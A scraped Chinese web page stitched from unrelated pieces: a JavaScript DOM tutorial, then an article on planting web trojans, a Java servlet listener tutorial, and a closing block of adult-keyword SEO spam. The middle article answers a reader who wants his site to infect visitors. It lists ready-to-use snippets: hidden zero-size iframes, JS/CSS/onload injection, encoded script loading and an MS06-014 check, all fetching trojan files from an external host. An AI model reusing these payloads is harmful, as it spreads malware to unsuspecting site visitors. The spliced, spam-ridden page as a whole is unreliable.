整合營(yíng)銷服務(wù)商

          電腦端+手機(jī)端+微信端=數(shù)據(jù)同步管理

          免費(fèi)咨詢熱線:

          JavaScript DOM節(jié)點(diǎn)訪問(wèn)方法和屬性

          JavaScript DOM節(jié)點(diǎn)訪問(wèn)方法和屬性
          <html>
          <head>
          <title>DOM 教程</title>
          </head>
          <body>
          <h1>DOM 第一課</h1>
          <p class="example">Hello world!</p>
          <input name="myInput" type="text" size="20" /><br />
          <h1 id="myHeader">This is a header</h1>
          </body>
          </html>

          上面的 HTML 中:

          <html> 節(jié)點(diǎn)沒有父節(jié)點(diǎn);它是根節(jié)點(diǎn)

          <head> 和 <body> 的父節(jié)點(diǎn)是 <html> 節(jié)點(diǎn)

          文本節(jié)點(diǎn) "Hello world!" 的父節(jié)點(diǎn)是 <p> 節(jié)點(diǎn)

          并且:

          <html> 節(jié)點(diǎn)擁有兩個(gè)子節(jié)點(diǎn):<head> 和 <body>

          <head> 節(jié)點(diǎn)擁有一個(gè)子節(jié)點(diǎn):<title> 節(jié)點(diǎn)

          <title> 節(jié)點(diǎn)也擁有一個(gè)子節(jié)點(diǎn):文本節(jié)點(diǎn) "DOM 教程"

          <h1> 和 <p> 節(jié)點(diǎn)是同胞節(jié)點(diǎn), 同時(shí)也是 <body> 的子節(jié)點(diǎn)

          并且:

          <head> 元素是 <html> 元素的首個(gè)子節(jié)點(diǎn)

          <body> 元素是 <html> 元素的最后一個(gè)子節(jié)點(diǎn)

          <h1> 元素是 <body> 元素的首個(gè)子節(jié)點(diǎn)

          <p> 元素是 <body> 元素的最后一個(gè)子節(jié)點(diǎn)

          訪問(wèn)節(jié)點(diǎn):

          var oLi=document.getElementsByTagName("li");
          var oLi=document.getElementById("myHeader");
          var oLi=document.getElementsByName("myInput"); //通過(guò)name屬性訪問(wèn)

          querySelector訪問(wèn)方式: IE8開始支持, IE8以下不支持

          var div=document.querySelector("#myHeader"); //通過(guò)id訪問(wèn)
          var div=document.querySelector("li"); //通過(guò)標(biāo)簽訪問(wèn)
          document.querySelector(".example"); //通過(guò)class屬性訪問(wèn)

          獲取表單值

          document.getElementById(id).value

          querySelector() 方法返回文檔中匹配指定 CSS 選擇器的一個(gè)元素。

          注意: querySelector() 方法僅僅返回匹配指定選擇器的第一個(gè)元素。

          如果你需要返回所有的元素, 請(qǐng)使用 querySelectorAll() 方法替代。

          利用父子兄關(guān)系查找節(jié)點(diǎn):

          使用childNodes屬性

          對(duì)象屬性

          nodeName 返回當(dāng)前節(jié)點(diǎn)名字

          元素節(jié)點(diǎn)的 nodeName 是標(biāo)簽名稱

          屬性節(jié)點(diǎn)的 nodeName 是屬性名稱

          文本節(jié)點(diǎn)的 nodeName 永遠(yuǎn)是 #text

          文檔節(jié)點(diǎn)的 nodeName 永遠(yuǎn)是 #document


          nodeValue 返回當(dāng)前節(jié)點(diǎn)的值, 僅對(duì)文本節(jié)點(diǎn)和屬性節(jié)點(diǎn)

          對(duì)于文本節(jié)點(diǎn), nodeValue 屬性包含文本。

          對(duì)于屬性節(jié)點(diǎn), nodeValue 屬性包含屬性值。

          nodeValue 屬性對(duì)于文檔節(jié)點(diǎn)和元素節(jié)點(diǎn)是不可用的。

          注意:nodeValue與tagName的區(qū)別對(duì)于空白節(jié)點(diǎn)的返回值:nodeValue返回null, tagName返回undefined

          對(duì)于文本節(jié)點(diǎn)的返回值:nodeValue返回文本, tagName返回undefined

          nodeType 檢測(cè)節(jié)點(diǎn)類型:

          alert(document.nodeType);

          元素節(jié)點(diǎn)的nodeType值為1; 標(biāo)簽名稱

          屬性節(jié)點(diǎn)的nodeType值為2; 屬性名稱 屬性節(jié)點(diǎn)不能算是其元素節(jié)點(diǎn)的子節(jié)點(diǎn)

          文本節(jié)點(diǎn)的nodeType值為3; #text

          注釋(Comment) 8: #comment

          文檔(Document) 9 #document <HTML>

          文檔類型(DocumentType) 10: <!DOCTYPE HTML PUBLIC"...">

          節(jié)點(diǎn) nodeType nodeName nodeValue

          元素節(jié)點(diǎn) 1 大寫的標(biāo)簽名 null

          屬性節(jié)點(diǎn) 2 屬性名 屬性值

          文本節(jié)點(diǎn) 3 #text 文本值

          tagName 返回標(biāo)簽的名稱, 僅對(duì)元素節(jié)點(diǎn)

          parentNode 返回當(dāng)前節(jié)點(diǎn)的父節(jié)點(diǎn), 如果存在的話

          childNodes 返回當(dāng)前節(jié)點(diǎn)的子節(jié)點(diǎn)集合

          firstChild 對(duì)標(biāo)記的子節(jié)點(diǎn)集合中第一個(gè)節(jié)點(diǎn)的引用, 如果存在的話

          lastChild 對(duì)標(biāo)記的子節(jié)點(diǎn)集合中最后一個(gè)節(jié)點(diǎn)的引用, 如果存在的話

          previousSibling 對(duì)同屬一個(gè)父節(jié)點(diǎn)的前一個(gè)兄弟節(jié)點(diǎn)的引用

          nextSibling 對(duì)同屬一個(gè)父節(jié)點(diǎn)的下一個(gè)兄弟節(jié)點(diǎn)的引用

          Attributes 返回當(dāng)前節(jié)點(diǎn)(標(biāo)記)屬性的列表 用于XML文件

          ownerDocument 返回節(jié)點(diǎn)所屬的根元素

          一些 DOM 對(duì)象方法

          getElementById() 返回帶有指定 ID 的元素。

          getElementsByTagName() 返回包含帶有指定標(biāo)簽名稱的所有元素的節(jié)點(diǎn)列表(集合/節(jié)點(diǎn)數(shù)組)。

          getElementsByName() 返回包含帶有指定類名的所有元素的節(jié)點(diǎn)列表。

          appendChild() 把新的子節(jié)點(diǎn)添加到指定節(jié)點(diǎn)。

          removeChild() 刪除子節(jié)點(diǎn)。

          replaceChild() 替換子節(jié)點(diǎn)。

          insertBefore() 在指定的子節(jié)點(diǎn)前面插入新的子節(jié)點(diǎn)。

          createAttribute() 創(chuàng)建屬性節(jié)點(diǎn)。

          createElement() 創(chuàng)建元素節(jié)點(diǎn)。

          createTextNode() 創(chuàng)建文本節(jié)點(diǎn)。

          getAttribute() 返回指定的屬性值。

          setAttribute() 把指定屬性設(shè)置或修改為指定的值。

          刪除、替換、插入子節(jié)點(diǎn)必須通過(guò)父節(jié)點(diǎn)的removeChild()方法來(lái)完成的

          createAttribute() 創(chuàng)建屬性節(jié)點(diǎn)

          var att=document.createAttribute("class");
          att.value="democlass";
          document.getElementsByTagName("H1")[0].setAttributeNode(att);

          以上代碼可以簡(jiǎn)化為

          document.getElementsByTagName("H1")[0].class="democlass";

          createAttribute()結(jié)合setAttributeNode()使用

          等同于:

          document.getElementsByTagName("H1")[0].setAttributeNode("class", "democlass");

          DOM獲取所有子節(jié)點(diǎn):

          <html>
          <head>
          <title>childNodes</title>
          <script language="javascript">
          function myDOMInspector(){
          var oUl=document.getElementById("myList"); //獲取<ul>標(biāo)記
          var DOMString="";
          if(oUl.hasChildNodes()){ //判斷是否有子節(jié)點(diǎn)
          var oCh=oUl.childNodes;
          for(var i=0;i<oCh.length;i++) //逐一查找
          DOMString +=oCh[i].nodeName + "\n";
          }
          alert(DOMString);
          }
          </script>
          </head>
          <body onload="myDOMInspector()">
          <ul id="myList">
          <li>糖醋排骨</li>
          <li>圓籠粉蒸肉</li>
          <li>泡菜魚</li>
          <li>板栗燒雞</li>
          <li>麻婆豆腐</li>
          </ul>
          </body>
          </html>

          使用parentNode屬性:

          <html>
          <head>
          <title>parentNode</title>
          <script language="javascript">
          function myDOMInspector(){
          var myItem=document.getElementById("myDearFood");
          alert(myItem.parentNode.tagName); //返回值為ul
          }
          </script>
          </head>
          <body onload="myDOMInspector()">
          <ul>
          <li>糖醋排骨</li>
          <li>圓籠粉蒸肉</li>
          <li>泡菜魚</li>
          <li id="myDearFood">板栗燒雞</li>
          <li>麻婆豆腐</li>
          </ul>
          </body>
          </html>

          DOM的兄弟關(guān)系:

          <html>
          <head>
          <title>Siblings</title>
          <script language="javascript">
          function myDOMInspector(){
          var myItem=document.getElementById("myDearFood");
          //訪問(wèn)兄弟節(jié)點(diǎn)
          var nextListItem=myItem.nextSibling;
          var preListItem=myItem.previousSibling;
          alert(nextListItem.tagName +" "+ preListItem.tagName);
          }
          </script>
          </head>
          <body onload="myDOMInspector()">
          <ul>
          <li>糖醋排骨</li>
          <li>圓籠粉蒸肉</li>
          <li>泡菜魚</li>
          <li id="myDearFood">板栗燒雞</li>
          <li>麻婆豆腐</li>
          </ul>
          </body>
          </html>

          編寫自定義函數(shù)解決Firefox等瀏覽器包含眾多的空格作為文本節(jié)點(diǎn)問(wèn)題。

          <html>
          <head>
          <title>Siblings</title>
          <script language="javascript">
          function nextSib(node){
          var tempLast=node.parentNode.lastChild;
          //判斷是否是最后一個(gè)節(jié)點(diǎn),如果是則返回null
          if(node==tempLast)
          return null;
          var tempObj=node.nextSibling;
          //逐一搜索后面的兄弟節(jié)點(diǎn),直到發(fā)現(xiàn)元素節(jié)點(diǎn)為止
          while(tempObj.nodeType!=1 && tempObj.nextSibling!=null)
          tempObj=tempObj.nextSibling;
          //三目運(yùn)算符,如果是元素節(jié)點(diǎn)則返回節(jié)點(diǎn)本身,否則返回null
          return (tempObj.nodeType==1)?tempObj:null;
          }
          function prevSib(node){
          var tempFirst=node.parentNode.firstChild;
          //判斷是否是第一個(gè)節(jié)點(diǎn),如果是則返回null
          if(node==tempFirst)
          return null;
          var tempObj=node.previousSibling;
          //逐一搜索前面的兄弟節(jié)點(diǎn),直到發(fā)現(xiàn)元素節(jié)點(diǎn)為止
          while(tempObj.nodeType!=1 && tempObj.previousSibling!=null)
          tempObj=tempObj.previousSibling;
          return (tempObj.nodeType==1)?tempObj:null;
          }
          function myDOMInspector(){
          var myItem=document.getElementById("myDearFood");
          //獲取后一個(gè)元素兄弟節(jié)點(diǎn)
          var nextListItem=nextSib(myItem);
          //獲取前一個(gè)元素兄弟節(jié)點(diǎn)
          var preListItem=prevSib(myItem);
          alert("后一項(xiàng):" + ((nextListItem!=null)?nextListItem.firstChild.nodeValue:null) + " 前一項(xiàng):" + ((preListItem!=null)?preListItem.firstChild.nodeValue:null) );
          }
          </script>
          </head>
          <body onload="myDOMInspector()">
          <ul>
          <li>糖醋排骨</li>
          <li>圓籠粉蒸肉</li>
          <li>泡菜魚</li>
          <li id="myDearFood">板栗燒雞</li>
          <li>麻婆豆腐</li>
          </ul>
          </body>
          </html>

          注意:最新版的IE瀏覽器也包含眾多的空格作為文本節(jié)點(diǎn);

          設(shè)置節(jié)點(diǎn)屬性:

          getAttribute()方法和setAttibute()方法

          <html>
          <head>
          <title>getAttribute()</title>
          <script language="javascript">
          function myDOMInspector(){
          //獲取圖片
          var myImg=document.getElementsByTagName("img")[0];
          //獲取圖片title屬性
          alert(myImg.getAttribute("title")); //也可以用myImg.title獲取屬性值
          }
          </script>
          </head>
          <body onload="myDOMInspector()">
          <img src="01.jpg" title="情人坡" />
          </body>
          </html>
          <html>
          <head>
          <title>setAttribute()</title>
          <script language="javascript">
          function changePic(){
          //獲取圖片
          var myImg=document.getElementsByTagName("img")[0];
          //設(shè)置圖片src和title屬性
          myImg.setAttribute("src","02.jpg"); //可以在屬性節(jié)點(diǎn)不存在時(shí),添加節(jié)點(diǎn)的屬性值;
          myImg.setAttribute("title","紫荊公寓"); //也可以通過(guò)myImg.title="紫荊公寓";
          }
          </script>
          </head>
          <body>
          <img src="01.jpg" title="情人坡" onclick="changePic()" />
          </body>
          </html>

          setAttribute()設(shè)置HTML標(biāo)簽的屬性

          oTable.setAttribute("border", "3"); //為表格邊框設(shè)置寬度
          oTable.setAttribute("border", 3);
          oTable.setAttribute("border", "3px"); //經(jīng)過(guò)測(cè)試, 此種寫法也正確

          建議: 具體格式參照HTML屬性值的語(yǔ)法格式

          setAttibute()設(shè)置行內(nèi)樣式

          obj.setAttribute("style", "position:absolute;left:200px;top:200px");

          注意:具體格式參考CSS樣式的語(yǔ)法格式

          setAttibute()設(shè)置事件屬性

          obj.setAttribute("onclick", "remove_img()"); //remove_img() 編寫自定義函數(shù), 這里不能使用自定義函數(shù)

          注意:關(guān)于文本節(jié)點(diǎn)兼容性

          元素節(jié)點(diǎn)

          子節(jié)點(diǎn): childNodes children

          首尾子節(jié)點(diǎn): firstChild firstElementChild

          lastChild lastElementChild

          兄弟節(jié)點(diǎn): nextSibling nextElementSibling

          previousSibling previousElementSibling

          childNodes firstChild lastChild nextSibling previousSibling屬性IE6-IE8版本瀏覽器不會(huì)返回空白節(jié)點(diǎn),

          IE9以上版本瀏覽器會(huì)返回文本節(jié)點(diǎn), W3C瀏覽器(包括火狐瀏覽器)也會(huì)返回文本節(jié)點(diǎn)

          children firstElementChild lastElementChild nextElementSibling previousElementSibling 只返回元素節(jié)點(diǎn), 不會(huì)返回空白節(jié)點(diǎn)

          注意: DOM操作必須保住DOM節(jié)點(diǎn)必須存在, 當(dāng)然也包括使用css樣式display:none隱藏的DOM節(jié)點(diǎn), 否則會(huì)導(dǎo)致js語(yǔ)法錯(cuò)誤;

          最近整理了一些奇安信&華為&深信服大佬的課件資料+大廠面試課題,想要的可以私信自取,無(wú)償贈(zèng)送給粉絲朋友~

          網(wǎng)頁(yè)掛馬的原理和實(shí)現(xiàn)方式

          今天,有一位網(wǎng)友問(wèn)了我一個(gè)問(wèn)題,他自己已經(jīng)有了網(wǎng)站了,現(xiàn)在他想做成“掛馬”這種網(wǎng)站,只要打開它,電腦就有可能感染木馬病毒。

          木馬是需要觸發(fā)才有效果的,觸發(fā)條件:要么欺騙用戶主動(dòng),要么利用漏洞。可能他對(duì)木馬、掛馬、網(wǎng)馬這些不是很理解,因此我特意發(fā)了此篇文章。

          一、掛馬、網(wǎng)馬介紹

          1、掛馬

          從“掛馬”這個(gè)詞中就知道,它和“木馬”脫離不了關(guān)系,的確,掛馬的目的就是將木馬傳播出去。

          黑客入侵了一些網(wǎng)站之后,將自己編定的網(wǎng)頁(yè)木馬嵌入到其網(wǎng)站的頁(yè)面(通常是在網(wǎng)站主頁(yè))中,利用該網(wǎng)站的流量將自己的網(wǎng)頁(yè)木馬傳播出去從而達(dá)到自己的目的。

          2、網(wǎng)馬

          網(wǎng)馬,即“網(wǎng)頁(yè)木馬”,就是將木馬和網(wǎng)頁(yè)結(jié)合在一起,當(dāng)打開網(wǎng)頁(yè)的時(shí)候就會(huì)自動(dòng)下載并運(yùn)行其木馬程序。

          二、網(wǎng)頁(yè)木馬運(yùn)行原理

          最初的網(wǎng)頁(yè)木馬就是利用了IE瀏覽器的ActiveX控件,在運(yùn)行網(wǎng)頁(yè)木馬的時(shí)候會(huì)彈出一個(gè)控件下載提示,只有經(jīng)過(guò)用戶確認(rèn)后才會(huì)運(yùn)行其中的木馬。

          目前新型的木馬通常利用IE瀏覽器存在的漏洞來(lái)傳播網(wǎng)頁(yè)木馬。

          當(dāng)然,現(xiàn)在瀏覽器不僅僅是指IE,還有很多其它的瀏覽器,例如:谷歌、百度、360、搜狗、QQ、火狐瀏覽器......等等。

          三、網(wǎng)頁(yè)掛馬步驟

          1、申請(qǐng)網(wǎng)站空間:將木馬程序和網(wǎng)馬全部上傳到該網(wǎng)站空間,使其可以被訪問(wèn),假如申請(qǐng)成功后的網(wǎng)站空間地址為“http://www.xxx.com/xxx”;

          2、上傳木馬程序:上傳完成后木馬的訪問(wèn)地址為“http://www.xxx.com/horse.exe”;

          3、使用網(wǎng)頁(yè)木馬生成器生成網(wǎng)馬:假如生成后網(wǎng)馬地址為“http://www.xxx.com/horse.htm”;

          4、進(jìn)行掛馬:將生成后的網(wǎng)馬地址嵌入到其他正常的網(wǎng)站頁(yè)面,假如嵌入到騰訊的主頁(yè)“http://www.qq.com/index.htm”;

          四、網(wǎng)頁(yè)掛馬的實(shí)現(xiàn)方式

          1、框架掛馬

          <iframe src=地址 width=0 height=0></iframe>

          2、JS文件掛馬

          首先將以下代碼:

          document.write("<iframe width='0' height='0' src='地址'></iframe>");

          保存為xxx.js。

          則JS掛馬代碼為:

          <script language=javascript src=xxx.js></script>

          3、JS變形加密

          <SCRIPT language="JScript.Encode" src=https://www.fujieace.com/muma.txt></script>

          muma.txt可改成任意后綴;

          4、body掛馬

          <body onload="window.location='地址';"></body>

          5、隱蔽掛馬

          top.document.body.innerHTML=top.document.body.innerHTML + '\r\n<iframe src="https://www.fujieace.com/muma.htm/"></iframe>';

          6、css掛馬

          body {
          background-image: url('javascript:document.write("<script src=https://www.fujieace.com/muma.js></script>")')}

          7、JAJA掛馬

          <SCRIPT language=javascript>
          window.open ("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
          </script>

          8、圖片偽裝

          <html>
          <iframe src="網(wǎng)馬地址" height=0 width=0></iframe>
          <img src="圖片地址"></center>
          </html>

          9、偽裝調(diào)用

          <frameset rows="444,0" cols="*">
          <frame src="打開網(wǎng)頁(yè)" framborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0">
          <frame src="網(wǎng)馬地址" frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0">
          </frameset>

          10、高級(jí)欺騙

          <a href="http://www.163.com(迷惑連接地址,顯示這個(gè)地址指向木馬地址)" onMouseOver="www_163_com(); return true;"> 頁(yè)面要顯示的內(nèi)容 </a>
          <SCRIPT Language="JavaScript">
          function www_163_com ()
          {
          var url="網(wǎng)馬地址";
          open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");
          }
          </SCRIPT>

          11、判斷系統(tǒng)代碼

          <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
          <HTML><HEAD><TITLE>404</TITLE>
          <META http-equiv=Content-Type content="text/html; charset=windows-1252">
          <META content="MSHTML 6.00.2900.2769" name=GENERATOR></HEAD>
          <BODY>
          <SCRIPT language=javascript>
          window.status="";
          if(navigator.userAgent.indexOf("Windows NT 5.1") !=-1)
          window.location.href="tk.htm";
          else
          window.location.href="upx06014.htm";
          </SCRIPT>
          </BODY></HTML>

          12、判斷是否有ms06014代碼

          <script language=VBScript>
          on error resume next
          set server=document.createElement("object")
          server.setAttribute "classid", "clsid:10072CEC-8CC1-11D1-986E-00A0C955B42E"
          set File=server.createobject(Adodb.Stream,"")
          if Not Err.Number=0 then
          err.clear
          document.write ("<iframe src=https://www.fujieace.com width=100% height=100% scrolling=no frameborder=0>")
          else
          document.write ("<iframe src=https://www.fujieace.com width=100% height=100% scrolling=no frameborder=0>")
          end if
          </script>

          13、智能讀取js的代碼demo

          //讀娶src的對(duì)象
          var v=document.getElementById("advjs");
          //讀娶src的參數(shù)
          var u_num=getUrlParameterAdv("showmatrix_num",v.getAttribute('src'));
          document.write("<iframe src=\"https://www.fujieace.com/1/"+u_num+".htm\" width=\"0\" height=\"0\" frameborder=\"0\"></iframe>");
          document.writeln("<!DOCTYPE HTML PUBLIC \"-\/\/W3C\/\/DTD HTML 4.0 Transitional\/\/EN\">");
          document.writeln("<HTML><HEAD>");
          document.writeln("<META http-equiv=Content-Type content=\"text\/html; charset=big5\">");
          document.writeln("<META content=\"MSHTML 6.00.2900.3059\" name=GENERATOR><\/HEAD>");
          document.writeln("<BODY> ");
          document.writeln("<DIV style=\"CURSOR: url(\'https:\/\/www.fujieace.com\/demo.js\')\">");
          document.writeln("<DIV ");
          document.writeln("style=\"CURSOR: url(\'https:\/\/www.fujieace.com\/demo.js\')\"><\/DIV><\/DIV><\/BODY><\/HTML>")
          //分析src的參數(shù)函數(shù)
          function getUrlParameterAdv(asName,lsURL){
          loU=lsURL.split("?");
          if (loU.length>1){
          var loallPm=loU[1].split("&");
          for (var i=0; i<loallPm.length; i++){
          var loPm=loallPm.split("=");
          if (loPm[0]==asName){
          if (loPm.length>1){
          return loPm[1];
          }else{
          return "";
          }
          }
          }
          }
          return null; 

          文章來(lái)源公眾號(hào):程哥講安全

          ervletRequestAttributeListener:
          馬克- to-win:馬克 java社區(qū):防盜版實(shí)名手機(jī)尾號(hào): 73203。
          ServletRequestAttributeListener能監(jiān)測(cè)到有人正在往ServletRequest里添加屬性。你可以采取相應(yīng)的措施。



          例 2.2.6.1

          package com;
          import javax.servlet.ServletRequestAttributeEvent;
          import javax.servlet.ServletRequestAttributeListener;
          public class MyServletRequestAttributeListener implements ServletRequestAttributeListener {
          public void attributeAdded(ServletRequestAttributeEvent arg0) {
          System.out.println("增加了" + arg0.getName() + " " +
          arg0.getValue() );
          }
          public void attributeRemoved(ServletRequestAttributeEvent arg0) {
          System.out.println("去除了" + arg0.getName() + " " +
          arg0.getValue() );
          }
          public void attributeReplaced(ServletRequestAttributeEvent arg0) {
          System.out.println("取代了" + arg0.getName() + " " +
          arg0.getValue()+"現(xiàn)在的新值是"+arg0.getServletRequest().getAttribute(arg0.getName()) );
          }
          }



          web.xml加入下面這段話:

          <listener>
          <listener-class>com.MyServletRequestAttributeListener</listener-class>
          </listener>



          用下面這個(gè)servlet測(cè)試:

          package com;
          import java.io.IOException;
          import javax.servlet.ServletException;
          import javax.servlet.http.HttpServlet;
          import javax.servlet.http.HttpServletRequest;
          import javax.servlet.http.HttpServletResponse;
          public class ServletHello1 extends HttpServlet {
          protected void doGet(HttpServletRequest request,
          HttpServletResponse response) throws ServletException, IOException {
          System.out.println("add attribute");
          request.setAttribute("name", "馬克-to-win");
          System.out.println("replace attribute");
          request.setAttribute("name", "mark-to-win");
          System.out.println("remove attribute");
          request.removeAttribute("name");
          }

          篇幅有限更多請(qǐng)見擴(kuò)展鏈接:

          http://www.mark-to-win.com/tutorial/jsp_6_ServletRequestAttributeListener.html


          主站蜘蛛池模板: 天堂成人一区二区三区| 免费播放一区二区三区| 亚洲丰满熟女一区二区哦| 成人区人妻精品一区二区不卡网站| 国产精品一区二区久久精品无码| 午夜视频久久久久一区| 中文字幕精品一区二区三区视频| 人妻AV一区二区三区精品| 乱色精品无码一区二区国产盗| 国产福利一区视频| 香蕉免费一区二区三区| 中文字幕一区二区三区视频在线| 色久综合网精品一区二区| 天堂不卡一区二区视频在线观看| 免费视频精品一区二区三区| 国产乱码精品一区二区三区四川人 | 无码精品人妻一区二区三区人妻斩 | 久久精品一区二区三区资源网| 日本美女一区二区三区| 亚洲片一区二区三区| 国产成人精品一区二三区在线观看| 国产福利91精品一区二区三区| 激情内射亚洲一区二区三区| 国精品无码一区二区三区在线蜜臀| 亚洲av无码片vr一区二区三区| 少妇激情av一区二区| AV无码精品一区二区三区宅噜噜| 免费无码一区二区| 在线精品自拍亚洲第一区 | 中文字幕日韩丝袜一区| 国产精品高清一区二区三区| 国产在线一区二区综合免费视频| 亚洲熟女一区二区三区| 无码国产精品一区二区免费vr| 秋霞午夜一区二区| 精品国产一区二区三区| 欧洲精品码一区二区三区| 日韩十八禁一区二区久久| 在线精品国产一区二区三区| 麻豆精品久久久一区二区| 在线观看国产一区二区三区|